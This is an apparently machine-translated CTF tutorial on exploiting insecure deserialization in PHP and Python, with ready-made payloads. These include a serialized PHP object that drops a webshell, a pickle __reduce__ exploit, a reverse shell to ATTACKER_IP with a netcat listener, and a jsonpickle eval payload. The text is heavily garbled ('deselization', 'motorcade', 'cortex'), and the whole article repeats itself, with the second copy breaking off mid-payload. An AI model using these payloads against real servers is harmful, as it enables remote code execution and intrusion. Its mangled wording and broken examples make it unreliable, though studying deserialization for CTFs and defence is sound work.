PHP unserialize vulnerability: the anatomy of serialized string
PHP series is a format in which objects are packed in strings for storage and transmission. serialize() turns the object into text, unserialize() restores back. The vulnerability of the CTF deserialization begins at a time when in unserialize() data controlled by the user. More details in our the Ctf Task Creation Guide.
Let's look at the line O:4:"User":2:{s:8:"username";s:6:"vickie";s:6:"status";s:9:"not admin";} bytovo:
O – data type, object
4 – length of class name (four characters)
"User" – class name
2 – the number of properties of the object
Inside the figure brackets - pairs key-value: s:8:"username" means a line with a length of 8 characters, s:6:"vickie" – value length 6
Full set of types: b – boolean, i – integer, d – float, s – string (with length), a – array, O - object. For CTF, two points are critical: length in s:LENGTH:"VALUE" must coincide with the real length of the value, and the number of properties in the object header is with the actual number of pairs inside the brackets. Made a mistake on one symbol — unserialize() will return false, and the exploit will die silently.
Where serialized data are found: cookies, POST parameters, hidden fields of forms, session storage. The OWASP classification is A08:2021 (Software and Data Integrity Failures), CWE-502 (Deserealization of Untrusted Data). In the MITRE ATT&CK matrix, the operation is mapped on T1190 (Exploit Public-Facing Application, Initial Access): played payload to public endpoint — and executing code on the server without authentication.
Business logic of attack outside the CTF: through deserialization, the attacker receives RCE without credentials. No need for SQL injection, no file downloads, it is enough to control the login unserialize(). Even without direct RCE, the result may be increased privileges, reading arbitrary files or DoS (PortSwigger Web Security Academy confirms). In the real-life attack chain, the deselization of PHP objects is most often used for access with subsequent tool loading (T1105, Ingress Tool Transfer) and horizontal movement.
PHP Magic methods and object operation
The deselization of PHP objects becomes truly dangerous because of the magical methods – functions that are automatically called at certain stages of the object’s life. Three key PHP facilities:
__wakeup() works immediately after the deselization. If inside – eval(), system(), file_put_contents() or another dangerous call with parameters from the object properties, the attacker controls the arguments through the substitution of values in the serialized line.
__destruct() triggered when destroying an object – even if the application does not address the deselarized object at all. The script will end, PHP will call the destructor, the code will work. The key point: the attack ends before the application “solves”, whether it needs this object or not. The destructor doesn't care.
__toString() triggers when the object is brought to the line: echo, concatenation, logging. The deselarized object got into any string operation - the method will be performed.
The classic PCP magic methods operation pattern in CTF is a class with a destructor that writes data to the file:
class Logger {
public $logFile;
public $logData;
function __destruct() {
file_put_contents($this->logFile, $this->logData);
}
}
// Payload:
// O:6:"Logger":2:{s:7:"logFile";s:9:"shell.php";
// s:7:"logData";s:27:"<?php system($_GET['c']);?>";}
In the deselization of PHP creates an object Logger with properties logFile = "shell.php" and logData = "<?php system($_GET['c']);?>". Script is completed — __destruct() records a webhell to disk through file_put_contents(). The application does not need to call this object. The fact of creation is sufficient.
The second frequent option: class with __wakeup(), inside which eval($this->hook). Payload is generated elementary - you create an instance of a class with the desired value of the property hook, serialize, send. For generation through PHP CLI, a single-line is enough: php -r "class X{public \$hook='phpinfo();';} echo serialize(new X);".
The nuance, which on the CTF is earned regularly: in the old versions of PHP (up to 7.4) there is bypass __wakeup(). You specify in the serialized string the number of properties is greater than the real (for example, O:4:"Test":2:{...} instead of O:4:"Test":1:{...}) – method __wakeup() will not be called, but __destruct() It's still gonna work. This trick appears in tasks marked “PHP < 8.0” – remember, it saves when __wakeup() contains a check that blocks operation.
Gadget chain PHP: building a POP chain with your hands
The simplest case is one class with eval() in the magical method. In practice, this is almost not the case. In real CTF tasks of the medium-hard level and on pentests, you need to build a call chain through several classes - Property Oriented Programming (POP) chain. It is the Gadget chain PHP that makes the deserialization a truly evil vector.
POP chain principle: __destruct() the first object causes a method in a property that is itself an object of another class. The one through __toString() or __call() twitches the method in the third - and so to the sink-function (eval(), system(), file_put_contents()).
A concrete example. Class Cache in the destructor causes $this->store->save($this->data). Class FileHandler has a method save($content), which causes file_put_contents($this->path, $content). Collecting POP chain: creating an object Cache, which has property $store – object FileHandler with controlled $path, eh $data - PHP-hell. In deserialization Cache.__destruct() causes FileHandler::save(), he writes shells on the disc. Two classes, none contains eval() directly – but the chain gives RCE.
To build a POP chain, you need an application source code or a list of available classes. On CTF, the code is usually given in the task or is available through the source disclosure. On real projects, classes are pulled up from frameworks – Laravel, Symfony, WordPress. There is a phpggc for automation. Team phpggc Laravel/RCE1 system id creates a ready-made serialized line, which, when deserialization in the Laravel application, will perform system('id'). View available chains — phpggc -l, filtering by framework — phpggc -l Laravel.
A typical workflow on CTF: define the framework through response headers, URL structure, or configuration files (.env, composer.json through LFI), select a chain from phpggc, generate payload, encod in base64 or URL-encode, substitute in a cookie or parameter. But phpggc works only with the famous gadget chains - for custom applications you will have to build a chain with your hands, reading the sources. And here phpggc is no longer an assistant.
PHAR deselization of PHP objects
PHAR (PHP Archive) is an archive format where metadata is stored in serialized form. When accessing a PHAR file via a tryper phar:// PHP automatically deserializes metadata — without explicit call unserialize(). Think about it: deserialization without unserialize() in the code.
This expands the surface of the PHP deselization attack. If the application processes user files with functions that support the runch runpersfile_exists(), is_dir(), file_get_contents(), fopen(), filesize()), and the path is controlled by the user - you can slip PHAR and trigger the deselization.
Attack Technique: A PHAR archive with a malicious object in metadata is created. To bypass the verification of the file format, polyglot is used - a file valid simultaneously as JPEG and as PHAR. JPEG title (\xFF\xD8) is placed first for the image parser, and __HALT_COMPILER(); labels the beginning of PHAR data. Download polyglot as "picture", then you turn through phar:///path/to/upload.jpg – PHP desylarizes metadata from the gadget chain inside.
Python uses the module pickle for serialization of objects. Unlike PHP, where you need a vulnerable class with a magic method on the server side, python pickle RCE is dangerous by design: any call pickle.loads() with controlled data – potential RCE. Python's official documentation warns with direct text: "pickle is not secure against maliciously constructed data." Don’t be careful – not safe.
Mechanism – method __reduce__(). When deselarization, the pickle checks its presence: the method returns the motorcade from the function and the argument cortex. The attacker determines the class whose __reduce__() returns (os.system, ('id',)) – in the deselization of pickle will cause os.system('id') without validation.
import pickle, os
class Exploit:
def __reduce__(self):
return (os.system, ('id',))
payload = pickle.dumps(Exploit())
# pickle.loads(payload) выполнит os.system('id')
Payload is a byte string, for transmission via HTTP is encoded in base64. On the CTF typical scenario: Flask-app stores the session in signed cookies. If the secret key is weak (secret, changeme, supersecret – yes, people really do it) or a duck through SSTI, .env Responsibility – replace cookies with serialized exploit. According to MITRE ATT&CK, it is T1059.006 (Python, Execution) and T1059.004 (Unix Shell) when using the return shell payload.
For reverse shell in __reduce__() return (os.system, ('bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1',)). On the side of the attacker - nc -lvnp 4444. Deserialization RCE practice with pickle is one of the fastest vectors on CTF: no need gadget chains, no need access to sourcers to build a payload. I found the entry point, you had a shell in a minute.
Pickle opcode: exploit what happens inside bytecode
The binary pickle line is not a black box. This is a sequence of stack virtual machine opcods. Module pickletools Disassembly payload: python3 -c "import pickletools; pickletools.dis(open('payload','rb').read())":
0: \x80 PROTO 4
2: \x95 FRAME 26
11: \x8c SHORT_BINUNICODE 'posix'
18: \x8c SHORT_BINUNICODE 'system'
26: \x93 STACK_GLOBAL
27: \x8c SHORT_BINUNICODE 'id'
30: \x85 TUPLE1
31: R REDUCE
32: . STOP
Read from top to bottom: STACK_GLOBAL Places posix.system on the stack, SHORT_BINUNICODE 'id' puts the argument, TUPLE1 turns it into a motorcade, and REDUCE (opcode R) triggers a function with arguments. Opcode R – the main one for pickle opcode exploit: takes from the stack callable and the cortex of arguments, performs a call.
Why disassemble the opcodes on the CTF: hard-level tasks often contain a filter that blocks certain opcodes. If R (REDUCE) in blacklist — standard __reduce__() will not pass. Payload is assembled manually through alternative opcodes: o (OBJ), i (INST) or combination c (GLOBAL) + ( (MARK) + t (TUPLE). Without the understanding of pickle VM, these tasks are not solved. The point.
Another scenario: the task is given a binary blob, which needs to be analyzed. Disassembly through pickletools.dis() instantly show that inside is a challenge os.system, subprocess.Popen or builtins.eval. Faster than trying to de-seriesalize payload in the sandbox and guess what happened.
Deserialization outside of pickle: jsonpickle and PyYAML
Python pickle RCE is a classic vector, but CTF web exploits through deselization are found in other libraries. The two most common are jsonpickle and PyYAML.
jsonpickle serializes Python objects in JSON, saving information about types. Unlike the standard json, jsonpickle supports arbitrary classes including __reduce__(). CVE-2020-22083 (CVSS 9.8, CRITICAL, CWE-502) affects jsonpickle to version 1.4.1 inclusive: jsonpickle.decode() on malicious JSON gives RCE. Vector: CVSS:3.1/AV:N/AC:L/PR:N/UIN/S:U/C:H/I:H/A:H — network attack, low complexity, without authentication, complete compromise. According to EPSS (Exploit Prediction Scoring System from FIRST.org), the probability of operation is included in the top 10% of all known vulnerabilities (percentile 0.9370).
Payload looks like a regular JSON: {"py/reduce": [{"py/function": "builtins.eval"}, {"py/tuple": ["__import__('os').system('id')"]}]}. Send via HTTP POST – if the endpoint processes the body through jsonpickle.decode(), the code is executed immediately. Jsonpickle series markers in JSON: the keys py/object, py/reduce, py/function (SentinelOne). Masking under the legitimate JSON makes such a payload more difficult to detect WAF than binary pickle – WAF sees a valid JSON and skips.
Red Hat in the CVE-2020-2083 consultant writes directly: this is “documented behavior consistent with estimated estimated security model.” In fact, the vulnerability is not in the library, but in the architectural solution to use pickle-like deselerization for data from unreliable sources. According to the documents, everything is correct. In practice, RCE.
PyYAML – the second vector of the deselization vulnerability outside of pickle. yaml.load() without a secure bootloader supports Python-specific tags for instanting objects. Payload !!python/object/apply
s.system ['id'] when processing through yaml.load(user_input) execute the system command. According to PortSwigger and Safeguard.sh, this vulnerability class has affected major projects, including DevOps tools. Protection – yaml.safe_load(), which does not support arbitrary Python objects.
On CTF, PyYAML tasks are disguised as “configure loading” or “settings import” – the endpoint accepts the YAML file and parsits it with an insecure bootloader. You can recognize the vector by Content-Type: application/x-yaml in requests or for the presence of YAML fields in the interface. You saw the “load the config” field – immediately check what is under the hood.
PHP series is a format in which objects are packed in strings for storage and transmission. serialize() turns the object into text, unserialize() restores back. The vulnerability of the CTF deserialization begins at a time when in unserialize() data controlled by the user. More details in our the Ctf Task Creation Guide.
Let's look at the line O:4:"User":2:{s:8:"username";s:6:"vickie";s:6:"status";s:9:"not admin";} bytovo:
O – data type, object
4 – length of class name (four characters)
"User" – class name
2 – the number of properties of the object
Inside the figure brackets - pairs key-value: s:8:"username" means a line with a length of 8 characters, s:6:"vickie" – value length 6
Full set of types: b – boolean, i – integer, d – float, s – string (with length), a – array, O - object. For CTF, two points are critical: length in s:LENGTH:"VALUE" must coincide with the real length of the value, and the number of properties in the object header is with the actual number of pairs inside the brackets. Made a mistake on one symbol — unserialize() will return false, and the exploit will die silently.
Where serialized data are found: cookies, POST parameters, hidden fields of forms, session storage. The OWASP classification is A08:2021 (Software and Data Integrity Failures), CWE-502 (Deserealization of Untrusted Data). In the MITRE ATT&CK matrix, the operation is mapped on T1190 (Exploit Public-Facing Application, Initial Access): played payload to public endpoint — and executing code on the server without authentication.
Business logic of attack outside the CTF: through deserialization, the attacker receives RCE without credentials. No need for SQL injection, no file downloads, it is enough to control the login unserialize(). Even without direct RCE, the result may be increased privileges, reading arbitrary files or DoS (PortSwigger Web Security Academy confirms). In the real-life attack chain, the deselization of PHP objects is most often used for access with subsequent tool loading (T1105, Ingress Tool Transfer) and horizontal movement.
PHP Magic methods and object operation
The deselization of PHP objects becomes truly dangerous because of the magical methods – functions that are automatically called at certain stages of the object’s life. Three key PHP facilities:
__wakeup() works immediately after the deselization. If inside – eval(), system(), file_put_contents() or another dangerous call with parameters from the object properties, the attacker controls the arguments through the substitution of values in the serialized line.
__destruct() triggered when destroying an object – even if the application does not address the deselarized object at all. The script will end, PHP will call the destructor, the code will work. The key point: the attack ends before the application “solves”, whether it needs this object or not. The destructor doesn't care.
__toString() triggers when the object is brought to the line: echo, concatenation, logging. The deselarized object got into any string operation - the method will be performed.
The classic PCP magic methods operation pattern in CTF is a class with a destructor that writes data to the file:
class Logger {
public $logFile;
public $logData;
function __destruct() {
file_put_contents($this->logFile, $this->logData);
}
}
// Payload:
// O:6:"Logger":2:{s:7:"logFile";s:9:"shell.php";
// s:7:"logData";s:27:"<?php system($_GET['c']);?>";}
In the deselization of PHP creates an object Logger with properties logFile = "shell.php" and logData = "<?php system($_GET['c']);?>". Script is completed — __destruct() records a webhell to disk through file_put_contents(). The application does not need to call this object. The fact of creation is sufficient.
The second frequent option: class with __wakeup(), inside which eval($this->hook). Payload is generated elementary - you create an instance of a class with the desired value of the property hook, serialize, send. For generation through PHP CLI, a single-line is enough: php -r "class X{public \$hook='phpinfo();';} echo serialize(new X);".
The nuance, which on the CTF is earned regularly: in the old versions of PHP (up to 7.4) there is bypass __wakeup(). You specify in the serialized string the number of properties is greater than the real (for example, O:4:"Test":2:{...} instead of O:4:"Test":1:{...}) – method __wakeup() will not be called, but __destruct() It's still gonna work. This trick appears in tasks marked “PHP < 8.0” – remember, it saves when __wakeup() contains a check that blocks operation.
Gadget chain PHP: building a POP chain with your hands
The simplest case is one class with eval() in the magical method. In practice, this is almost not the case. In real CTF tasks of the medium-hard level and on pentests, you need to build a call chain through several classes - Property Oriented Programming (POP) chain. It is the Gadget chain PHP that makes the deserialization a truly evil vector.
POP chain principle: __destruct() the first object causes a method in a property that is itself an object of another class. The one through __toString() or __call() twitches the method in the third - and so to the sink-function (eval(), system(), file_put_contents()).
A concrete example. Class Cache in the destructor causes $this->store->save($this->data). Class FileHandler has a method save($content), which causes file_put_contents($this->path, $content). Collecting POP chain: creating an object Cache, which has property $store – object FileHandler with controlled $path, eh $data - PHP-hell. In deserialization Cache.__destruct() causes FileHandler::save(), he writes shells on the disc. Two classes, none contains eval() directly – but the chain gives RCE.
To build a POP chain, you need an application source code or a list of available classes. On CTF, the code is usually given in the task or is available through the source disclosure. On real projects, classes are pulled up from frameworks – Laravel, Symfony, WordPress. There is a phpggc for automation. Team phpggc Laravel/RCE1 system id creates a ready-made serialized line, which, when deserialization in the Laravel application, will perform system('id'). View available chains — phpggc -l, filtering by framework — phpggc -l Laravel.
A typical workflow on CTF: define the framework through response headers, URL structure, or configuration files (.env, composer.json through LFI), select a chain from phpggc, generate payload, encod in base64 or URL-encode, substitute in a cookie or parameter. But phpggc works only with the famous gadget chains - for custom applications you will have to build a chain with your hands, reading the sources. And here phpggc is no longer an assistant.
PHAR deselization of PHP objects
PHAR (PHP Archive) is an archive format where metadata is stored in serialized form. When accessing a PHAR file via a tryper phar:// PHP automatically deserializes metadata — without explicit call unserialize(). Think about it: deserialization without unserialize() in the code.
This expands the surface of the PHP deselization attack. If the application processes user files with functions that support the runch runpersfile_exists(), is_dir(), file_get_contents(), fopen(), filesize()), and the path is controlled by the user - you can slip PHAR and trigger the deselization.
Attack Technique: A PHAR archive with a malicious object in metadata is created. To bypass the verification of the file format, polyglot is used - a file valid simultaneously as JPEG and as PHAR. JPEG title (\xFF\xD8) is placed first for the image parser, and __HALT_COMPILER(); labels the beginning of PHAR data. Download polyglot as "picture", then you turn through phar:///path/to/upload.jpg – PHP desylarizes metadata from the gadget chain inside.
Python uses the module pickle for serialization of objects. Unlike PHP, where you need a vulnerable class with a magic method on the server side, python pickle RCE is dangerous by design: any call pickle.loads() with controlled data – potential RCE. Python's official documentation warns with direct text: "pickle is not secure against maliciously constructed data." Don’t be careful – not safe.
Mechanism – method __reduce__(). When deselarization, the pickle checks its presence: the method returns the motorcade from the function and the argument cortex. The attacker determines the class whose __reduce__() returns (os.system, ('id',)) – in the deselization of pickle will cause os.system('id') without validation.
import pickle, os
class Exploit:
def __reduce__(self):
return (os.system, ('id',))
payload = pickle.dumps(Exploit())
# pickle.loads(payload) выполнит os.system('id')
Payload is a byte string, for transmission via HTTP is encoded in base64. On the CTF typical scenario: Flask-app stores the session in signed cookies. If the secret key is weak (secret, changeme, supersecret – yes, people really do it) or a duck through SSTI, .env Responsibility – replace cookies with serialized exploit. According to MITRE ATT&CK, it is T1059.006 (Python, Execution) and T1059.004 (Unix Shell) when using the return shell payload.
For reverse shell in __reduce__() return (os.system, ('bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1',)). On the side of the attacker - nc -lvnp 4444. Deserialization RCE practice with pickle is one of the fastest vectors on CTF: no need gadget chains, no need access to sourcers to build a payload. I found the entry point, you had a shell in a minute.
Pickle opcode: exploit what happens inside bytecode
The binary pickle line is not a black box. This is a sequence of stack virtual machine opcods. Module pickletools Disassembly payload: python3 -c "import pickletools; pickletools.dis(open('payload','rb').read())":
0: \x80 PROTO 4
2: \x95 FRAME 26
11: \x8c SHORT_BINUNICODE 'posix'
18: \x8c SHORT_BINUNICODE 'system'
26: \x93 STACK_GLOBAL
27: \x8c SHORT_BINUNICODE 'id'
30: \x85 TUPLE1
31: R REDUCE
32: . STOP
Read from top to bottom: STACK_GLOBAL Places posix.system on the stack, SHORT_BINUNICODE 'id' puts the argument, TUPLE1 turns it into a motorcade, and REDUCE (opcode R) triggers a function with arguments. Opcode R – the main one for pickle opcode exploit: takes from the stack callable and the cortex of arguments, performs a call.
Why disassemble the opcodes on the CTF: hard-level tasks often contain a filter that blocks certain opcodes. If R (REDUCE) in blacklist — standard __reduce__() will not pass. Payload is assembled manually through alternative opcodes: o (OBJ), i (INST) or combination c (GLOBAL) + ( (MARK) + t (TUPLE). Without the understanding of pickle VM, these tasks are not solved. The point.
Another scenario: the task is given a binary blob, which needs to be analyzed. Disassembly through pickletools.dis() instantly show that inside is a challenge os.system, subprocess.Popen or builtins.eval. Faster than trying to de-seriesalize payload in the sandbox and guess what happened.
Deserialization outside of pickle: jsonpickle and PyYAML
Python pickle RCE is a classic vector, but CTF web exploits through deselization are found in other libraries. The two most common are jsonpickle and PyYAML.
jsonpickle serializes Python objects in JSON, saving information about types. Unlike the standard json, jsonpickle supports arbitrary classes including __reduce__(). CVE-2020-22083 (CVSS 9.8, CRITICAL, CWE-502) affects jsonpickle to version 1.4.1 inclusive: jsonpickle.decode() on malicious JSON gives RCE. Vector: CVSS:3.1/AV:N/AC:L/PR:N/UIN/S:U/C:H/I:H/A:H — network attack, low complexity, without authentication, complete compromise. According to EPSS (Exploit Prediction Scoring System from FIRST.org), the probability of operation is included in the top 10% of all known vulnerabilities (percentile 0.9370).
Payload looks like a regular JSON: {"py/reduce": [{"py/function": "builtins.eval"}, {"py/tuple": ["__import__('os').system('id')"]}]}. Send via HTTP POST – if the endpoint processes the body through jsonpickle.decode(), the code is executed immediately. Jsonpickle series markers in JSON: the keys py/object, py/reduce, py/function (SentinelOne). Masking under the legitimate JSON makes such a payload more difficult to detect WAF than binary pickle – WAF sees a valid JSON and skips.
Red Hat in the CVE-2020-2083 consultant writes directly: this is “documented behavior consistent with estimated estimated security model.” In fact, the vulnerability is not in the library, but in the architectural solution to use pickle-like deselerization for data from unreliable sources. According to the documents, everything is correct. In practice, RCE.
PyYAML – the second vector of the deselization vulnerability outside of pickle. yaml.load() without a secure bootloader supports Python-specific tags for instanting objects. Payload !!python/object/apply
On CTF, PyYAML tasks are disguised as “configure loading” or “settings import” – the endpoint accepts the YAML file and parsits it with an insecure bootloader. You can recognize the vector by Content-Type: application/x-yaml in requests or for the presence of YAML fields in the interface. You saw the “load the config” field – immediately check what is under the hood.